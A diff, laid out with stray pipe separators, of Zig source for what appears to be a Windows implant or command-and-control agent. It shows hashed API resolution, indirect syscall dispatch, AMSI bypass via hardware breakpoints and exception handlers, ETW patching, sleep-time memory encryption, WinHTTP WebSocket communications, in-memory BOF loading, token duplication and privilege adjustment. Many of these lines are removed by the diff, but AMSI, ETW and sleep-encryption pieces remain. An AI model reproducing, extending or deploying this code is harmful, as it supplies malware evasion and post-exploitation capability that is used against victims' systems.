etw_get_proc_address = @ptrCast(p);
|
etw_get_proc_address = @ptrCast(p);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (bof_get_module_handle_a == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleA"))) |p| bof_get_module_handle_a = @ptrCast(p);
|
|
||||||
}
|
|
||||||
if (bof_virtual_alloc == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualAlloc"))) |p| bof_virtual_alloc = @ptrCast(p);
|
|
||||||
}
|
|
||||||
if (bof_virtual_free == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualFree"))) |p| bof_virtual_free = @ptrCast(p);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (amsi_add_vectored_exception_handler == null) {
|
if (amsi_add_vectored_exception_handler == null) {
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
|
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
|
||||||
@@ -431,68 +85,14 @@ pub fn ensure() void {
|
|||||||
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
|
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
|
||||||
}
|
}
|
||||||
|
|
||||||
// HWBP globals, same APIs as AMSI.
|
|
||||||
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
|
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
|
||||||
if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
|
if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
|
||||||
if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;
|
if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;
|
||||||
|
|
||||||
if (info_rtl_get_version == null) {
|
|
||||||
if (resolve.resolve_api(ntdll_hash, hash_ror13("RtlGetVersion"))) |p| info_rtl_get_version = @ptrCast(p);
|
|
||||||
}
|
|
||||||
if (sleep_SystemFunction040 == null) {
|
if (sleep_SystemFunction040 == null) {
|
||||||
const advapi_hash = hash_ror13("advapi32.dll");
|
const advapi_hash = hash_ror13("advapi32.dll");
|
||||||
_ = resolve.get_module_by_hash(advapi_hash);
|
_ = resolve.get_module_by_hash(advapi_hash);
|
||||||
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
|
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
|
||||||
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
|
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (comms_load_library_a != null and (comms_winhttp_open == null or comms_winhttp_connect == null or comms_winhttp_open_request == null or comms_winhttp_send_request == null or comms_winhttp_receive_response == null or comms_winhttp_read_data == null or comms_winhttp_websocket_complete_upgrade == null)) {
|
|
||||||
_ = comms_load_library_a.?("winhttp.dll");
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpen"))) |p| comms_winhttp_open = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpConnect"))) |p| comms_winhttp_connect = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpenRequest"))) |p| comms_winhttp_open_request = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSetOption"))) |p| comms_winhttp_set_option = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSendRequest"))) |p| comms_winhttp_send_request = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReceiveResponse"))) |p| comms_winhttp_receive_response = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReadData"))) |p| comms_winhttp_read_data = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpCloseHandle"))) |p| comms_winhttp_close_handle = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpAddRequestHeaders"))) |p| comms_winhttp_add_request_headers = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpQueryDataAvailable"))) |p| comms_winhttp_query_data_available = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketCompleteUpgrade"))) |p| comms_winhttp_websocket_complete_upgrade = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketSend"))) |p| comms_winhttp_websocket_send = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketReceive"))) |p| comms_winhttp_websocket_receive = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketClose"))) |p| comms_winhttp_websocket_close = @ptrCast(p);
|
|
||||||
}
|
|
||||||
|
|
||||||
// advapi32, LookupPrivilegeValueW, AdjustTokenPrivileges
|
|
||||||
const advapi_hash = hash_ror13("advapi32.dll");
|
|
||||||
if (priv_get_current_process == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcess"))) |p| priv_get_current_process = @ptrCast(p);
|
|
||||||
}
|
|
||||||
if (priv_lookup_privilege_value_w == null or priv_adjust_token_privileges == null) {
|
|
||||||
_ = resolve.get_module_by_hash(advapi_hash);
|
|
||||||
if (resolve.resolve_api(advapi_hash, hash_ror13("LookupPrivilegeValueW"))) |p| priv_lookup_privilege_value_w = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(advapi_hash, hash_ror13("AdjustTokenPrivileges"))) |p| priv_adjust_token_privileges = @ptrCast(p);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (crypto_bcrypt_open == null) {
|
|
||||||
if (resolve.get_module_by_hash(bcrypt_hash) == null) {
|
|
||||||
if (comms_load_library_a) |la| _ = la("bcrypt.dll");
|
|
||||||
}
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptOpenAlgorithmProvider"))) |p| crypto_bcrypt_open = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptCloseAlgorithmProvider"))) |p| crypto_bcrypt_close = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSetProperty"))) |p| crypto_bcrypt_set_prop = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateSymmetricKey"))) |p| crypto_bcrypt_gen_key = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroyKey"))) |p| crypto_bcrypt_destroy_key = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptEncrypt"))) |p| crypto_bcrypt_encrypt = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDecrypt"))) |p| crypto_bcrypt_decrypt = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenRandom"))) |p| crypto_bcrypt_gen_random = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateKeyPair"))) |p| crypto_bcrypt_gen_key_pair = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptFinalizeKeyPair"))) |p| crypto_bcrypt_finalize_key_pair = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptExportKey"))) |p| crypto_bcrypt_export_key = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptImportKeyPair"))) |p| crypto_bcrypt_import_key_pair = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSecretAgreement"))) |p| crypto_bcrypt_secret_agreement = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDeriveKey"))) |p| crypto_bcrypt_derive_key = @ptrCast(p);
|
|
||||||
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroySecret"))) |p| crypto_bcrypt_destroy_secret = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,3 @@
|
|||||||
// Function-pointer type aliases for all resolved Win32 APIs. Imported by api.zig.
|
|
||||||
const win = @import("win32.zig");
|
const win = @import("win32.zig");
|
||||||
const resolve = @import("resolve.zig");
|
const resolve = @import("resolve.zig");
|
||||||
|
|
||||||
@@ -10,84 +9,10 @@ pub const get_func_by_hash = resolve.get_func_by_hash;
|
|||||||
pub const NT_SUCCESS = win.NT_SUCCESS;
|
pub const NT_SUCCESS = win.NT_SUCCESS;
|
||||||
pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO;
|
pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO;
|
||||||
|
|
||||||
pub const T_exec_CreatePipe = *const fn (hReadPipe: win.PHANDLE, hWritePipe: win.PHANDLE, lpPipeAttributes: *win.SECURITY_ATTRIBUTES, nSize: win.DWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_exec_CreateProcessA = *const fn (lpApplicationName: ?win.LPCSTR, lpCommandLine: win.LPSTR, lpProcessAttributes: ?*win.SECURITY_ATTRIBUTES, lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, bInheritHandles: win.BOOL, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_exec_ReadFile = *const fn (hFile: win.HANDLE, lpBuffer: ?win.LPVOID, nNumberOfBytesToRead: win.DWORD, lpNumberOfBytesRead: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_exec_WaitForSingleObject = *const fn (hHandle: win.HANDLE, dwMilliseconds: win.DWORD) callconv(win.WINAPI) win.DWORD;
|
|
||||||
pub const T_exec_GetExitCodeProcess = *const fn (hProcess: win.HANDLE, lpExitCode: win.PDWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_exec_GetLastError = *const fn () callconv(win.WINAPI) win.DWORD;
|
|
||||||
pub const T_exec_GetModuleFileNameA = *const fn (hModule: ?win.HMODULE, lpFilename: win.LPSTR, nSize: win.DWORD) callconv(win.WINAPI) win.DWORD;
|
|
||||||
pub const T_exec_ExitProcess = *const fn (uExitCode: win.UINT) callconv(win.WINAPI) void;
|
|
||||||
pub const T_exec_InitializeProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque, dwAttributeCount: win.DWORD, dwFlags: win.DWORD, lpSize: *win.SIZE_T) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_exec_UpdateProcThreadAttribute = *const fn (lpAttributeList: ?*anyopaque, dwFlags: win.DWORD, Attribute: win.DWORD_PTR, lpValue: ?*anyopaque, cbSize: win.SIZE_T, lpPreviousValue: ?*anyopaque, lpReturnSize: ?*win.SIZE_T) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_exec_DeleteProcThreadAttributeList = *const fn (lpAttributeList: ?*anyopaque) callconv(win.WINAPI) void;
|
|
||||||
pub const T_exec_CreateFileA = *const fn (lpFileName: win.LPCSTR, dwDesiredAccess: win.DWORD, dwShareMode: win.DWORD, lpSecurityAttributes: ?*win.SECURITY_ATTRIBUTES, dwCreationDisposition: win.DWORD, dwFlagsAndAttributes: win.DWORD, hTemplateFile: ?win.HANDLE) callconv(win.WINAPI) win.HANDLE;
|
|
||||||
pub const T_exec_WriteFile = *const fn (hFile: win.HANDLE, lpBuffer: win.LPCVOID, nNumberOfBytesToWrite: win.DWORD, lpNumberOfBytesWritten: win.PDWORD, lpOverlapped: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_exec_OpenProcessToken = *const fn (ProcessHandle: win.HANDLE, DesiredAccess: win.DWORD, TokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_exec_DuplicateTokenEx = *const fn (ExistingTokenHandle: win.HANDLE, dwDesiredAccess: win.DWORD, lpTokenAttributes: ?*win.SECURITY_ATTRIBUTES, ImpersonationLevel: win.SECURITY_IMPERSONATION_LEVEL, TokenType: win.TOKEN_TYPE, DuplicateTokenHandle: *win.HANDLE) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_exec_CreateProcessWithTokenW = *const fn (hToken: win.HANDLE, dwLogonFlags: win.DWORD, lpApplicationName: ?win.LPCWSTR, lpCommandLine: win.LPWSTR, dwCreationFlags: win.DWORD, lpEnvironment: ?win.LPVOID, lpCurrentDirectory: ?win.LPCWSTR, lpStartupInfo: *win.STARTUPINFOA, lpProcessInformation: *win.PROCESS_INFORMATION) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_exec_CreatePseudoConsole = *const fn (size: win.COORD, hInput: win.HANDLE, hOutput: win.HANDLE, dwFlags: win.DWORD, phPC: *win.HANDLE) callconv(win.WINAPI) win.HRESULT;
|
|
||||||
pub const T_exec_ClosePseudoConsole = *const fn (hPC: win.HANDLE) callconv(win.WINAPI) void;
|
|
||||||
pub const T_exec_CreateThread = *const fn (lpThreadAttributes: ?*win.SECURITY_ATTRIBUTES, dwStackSize: win.SIZE_T, lpStartAddress: *const fn (?*anyopaque) callconv(win.WINAPI) win.DWORD, lpParameter: ?*anyopaque, dwCreationFlags: win.DWORD, lpThreadId: *win.DWORD) callconv(win.WINAPI) win.HANDLE;
|
|
||||||
pub const T_exec_InitializeCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
|
|
||||||
pub const T_exec_EnterCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
|
|
||||||
pub const T_exec_LeaveCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
|
|
||||||
pub const T_exec_DeleteCriticalSection = *const fn (lpCriticalSection: *win.CRITICAL_SECTION) callconv(win.WINAPI) void;
|
|
||||||
|
|
||||||
pub const T_info_GetComputerNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_info_GetUserNameA = *const fn (lpBuffer: win.LPSTR, nSize: *win.DWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_info_GetSystemInfo = *const fn (lpSystemInfo: *win.SYSTEM_INFO) callconv(win.WINAPI) void;
|
|
||||||
pub const T_info_GetCurrentProcessId = *const fn () callconv(win.WINAPI) win.DWORD;
|
|
||||||
pub const T_info_RtlGetVersion = *const fn (lpVersionInformation: *win.RTL_OSVERSIONINFOW) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_info_GetSystemTime = *const fn (lpSystemTime: *win.SYSTEMTIME) callconv(win.WINAPI) void;
|
|
||||||
|
|
||||||
pub const T_fiber_ConvertThreadToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
|
|
||||||
pub const T_fiber_CreateFiber = *const fn (win.SIZE_T, *const fn (?*anyopaque) callconv(win.WINAPI) void, ?*anyopaque) callconv(win.WINAPI) ?*anyopaque;
|
|
||||||
pub const T_fiber_SwitchToFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
|
|
||||||
pub const T_fiber_DeleteFiber = *const fn (?*anyopaque) callconv(win.WINAPI) void;
|
|
||||||
pub const T_fiber_ConvertFiberToThread = *const fn () callconv(win.WINAPI) win.BOOL;
|
|
||||||
|
|
||||||
pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||||
pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||||
|
|
||||||
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
|
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
|
||||||
pub const T_comms_WinHttpOpen = *const fn (pwszUserAgent: win.LPCWSTR, dwAccessType: win.DWORD, pwszProxyName: ?win.LPCWSTR, pwszProxyBypass: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
|
|
||||||
pub const T_comms_WinHttpConnect = *const fn (hSession: win.HINTERNET, pswzServerName: win.LPCWSTR, nServerPort: win.INTERNET_PORT, dwReserved: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
|
|
||||||
pub const T_comms_WinHttpOpenRequest = *const fn (hConnect: win.HINTERNET, pwszVerb: win.LPCWSTR, pwszObjectName: win.LPCWSTR, pwszVersion: ?win.LPCWSTR, pwszReferrer: ?win.LPCWSTR, ppwszAcceptTypes: ?[*]win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) ?win.HINTERNET;
|
|
||||||
pub const T_comms_WinHttpSetOption = *const fn (hInternet: win.HINTERNET, dwOption: win.DWORD, lpBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_comms_WinHttpSendRequest = *const fn (hRequest: win.HINTERNET, lpszHeaders: ?win.LPCWSTR, dwHeadersLength: win.DWORD, lpOptional: ?win.LPVOID, dwOptionalLength: win.DWORD, dwTotalLength: win.DWORD, dwContext: win.DWORD_PTR) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_comms_WinHttpReceiveResponse = *const fn (hRequest: win.HINTERNET, lpReserved: ?win.LPVOID) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_comms_WinHttpReadData = *const fn (hRequest: win.HINTERNET, lpBuffer: ?win.LPVOID, dwNumberOfBytesToRead: win.DWORD, lpdwNumberOfBytesRead: win.PDWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_comms_WinHttpCloseHandle = *const fn (hInternet: win.HINTERNET) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_comms_WinHttpAddRequestHeaders = *const fn (hRequest: win.HINTERNET, lpszHeaders: win.LPCWSTR, dwHeadersLength: win.DWORD, dwModifiers: win.DWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_comms_WinHttpQueryDataAvailable = *const fn (hRequest: win.HINTERNET, lpdwNumberOfBytesAvailable: win.PDWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_comms_WinHttpWebSocketCompleteUpgrade = *const fn (hRequest: win.HINTERNET, phWebSocket: *win.HINTERNET) callconv(win.WINAPI) win.DWORD;
|
|
||||||
pub const T_comms_WinHttpWebSocketSend = *const fn (hWebSocket: win.HINTERNET, eBufferType: win.WINHTTP_WEB_SOCKET_BUFFER_TYPE, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD) callconv(win.WINAPI) win.DWORD;
|
|
||||||
pub const T_comms_WinHttpWebSocketReceive = *const fn (hWebSocket: win.HINTERNET, pvBuffer: ?win.LPVOID, dwBufferLength: win.DWORD, pdwBytesRead: win.PDWORD, peBufferType: *win.WINHTTP_WEB_SOCKET_BUFFER_TYPE) callconv(win.WINAPI) win.DWORD;
|
|
||||||
pub const T_comms_WinHttpWebSocketClose = *const fn (hWebSocket: win.HINTERNET) callconv(win.WINAPI) win.DWORD;
|
|
||||||
|
|
||||||
pub const T_bof_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
|
|
||||||
pub const T_bof_GetProcAddress = *const fn (hModule: ?win.HMODULE, lpProcName: win.LPCSTR) callconv(win.WINAPI) ?win.FARPROC;
|
|
||||||
pub const T_bof_GetModuleHandleA = *const fn (lpModuleName: win.LPCSTR) callconv(win.WINAPI) ?win.HMODULE;
|
|
||||||
pub const T_bof_VirtualAlloc = *const fn (lpAddress: ?win.LPVOID, dwSize: win.SIZE_T, flAllocationType: win.DWORD, flProtect: win.DWORD) callconv(win.WINAPI) ?win.LPVOID;
|
|
||||||
pub const T_bof_VirtualFree = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, dwFreeType: win.DWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_bof_VirtualProtect = *const fn (lpAddress: win.LPVOID, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
|
|
||||||
pub const T_crypto_BCryptOpenAlgorithmProvider = *const fn (phAlgorithm: *win.BCRYPT_ALG_HANDLE, pszAlgId: win.LPCWSTR, pszImplementation: ?win.LPCWSTR, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptCloseAlgorithmProvider = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, dwFlags: win.DWORD) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptSetProperty = *const fn (hObject: win.BCRYPT_ALG_HANDLE, pszProperty: win.LPCWSTR, pbInput: [*]u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptGenerateSymmetricKey = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, pbKeyObject: ?[*]u8, cbKeyObject: win.ULONG, pbSecret: [*]const u8, cbSecret: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptDestroyKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptEncrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptDecrypt = *const fn (hKey: win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, pPaddingInfo: ?*anyopaque, pbIV: ?[*]u8, cbIV: win.ULONG, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptGenRandom = *const fn (hAlgorithm: ?win.BCRYPT_ALG_HANDLE, pbBuffer: [*]u8, cbBuffer: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptGenerateKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, phKey: *win.BCRYPT_KEY_HANDLE, dwLength: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptFinalizeKeyPair = *const fn (hKey: win.BCRYPT_KEY_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptExportKey = *const fn (hKey: win.BCRYPT_KEY_HANDLE, hExportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, pbOutput: ?[*]u8, cbOutput: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptImportKeyPair = *const fn (hAlgorithm: win.BCRYPT_ALG_HANDLE, hImportKey: ?win.BCRYPT_KEY_HANDLE, pszBlobType: win.LPCWSTR, phKey: *win.BCRYPT_KEY_HANDLE, pbInput: [*]const u8, cbInput: win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptSecretAgreement = *const fn (hPrivKey: win.BCRYPT_KEY_HANDLE, hPubKey: win.BCRYPT_KEY_HANDLE, phAgreedSecret: *win.BCRYPT_SECRET_HANDLE, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptDeriveKey = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE, pwszKDF: ?*const anyopaque, pParameterList: ?*anyopaque, pbDerivedKey: ?[*]u8, cbDerivedKey: win.ULONG, pcbResult: *win.ULONG, dwFlags: win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
pub const T_crypto_BCryptDestroySecret = *const fn (hSharedSecret: win.BCRYPT_SECRET_HANDLE) callconv(win.WINAPI) win.NTSTATUS;
|
|
||||||
|
|
||||||
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
|
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
|
||||||
pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
|
pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
|
||||||
@@ -98,10 +23,4 @@ pub const T_amsi_SetThreadContext = *const fn (hThread: win.HANDLE, lpContext: *
|
|||||||
pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
|
pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
|
||||||
pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
|
pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
|
||||||
|
|
||||||
pub const T_etw_GetModuleHandleW = *const fn (lpModuleName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
|
|
||||||
pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
|
pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
|
||||||
pub const T_etw_VirtualProtect = *const fn (lpAddress: ?*anyopaque, dwSize: win.SIZE_T, flNewProtect: win.DWORD, lpflOldProtect: *win.DWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
|
|
||||||
pub const T_priv_LookupPrivilegeValueW = *const fn (lpSystemName: ?win.LPCWSTR, lpName: win.LPCWSTR, lpLuid: *win.LUID) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_priv_AdjustTokenPrivileges = *const fn (TokenHandle: win.HANDLE, DisableAllPrivileges: win.BOOL, NewState: ?*win.TOKEN_PRIVILEGES, BufferLength: win.DWORD, PreviousState: ?*win.TOKEN_PRIVILEGES, ReturnLength: ?win.PDWORD) callconv(win.WINAPI) win.BOOL;
|
|
||||||
pub const T_priv_GetCurrentProcess = *const fn () callconv(win.WINAPI) win.HANDLE;
|
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
const std = @import("std");
|
const std = @import("std");
|
||||||
const win = @import("win32.zig");
|
const win = @import("win32.zig");
|
||||||
const resolve = @import("resolve.zig");
|
const resolve = @import("resolve.zig");
|
||||||
const api = @import("api.zig");
|
|
||||||
|
|
||||||
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
|
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
|
||||||
var g_syscall_count: usize = 0;
|
var g_syscall_count: usize = 0;
|
||||||
@@ -286,12 +285,6 @@ pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INT
|
|||||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Queries process info (PPI, PE flags, mitigation policies, etc).
|
|
||||||
pub fn nt_query_information_process(process_handle: win.HANDLE, info_class: u32, info: *anyopaque, info_len: u32, return_len: ?*u32) win.NTSTATUS {
|
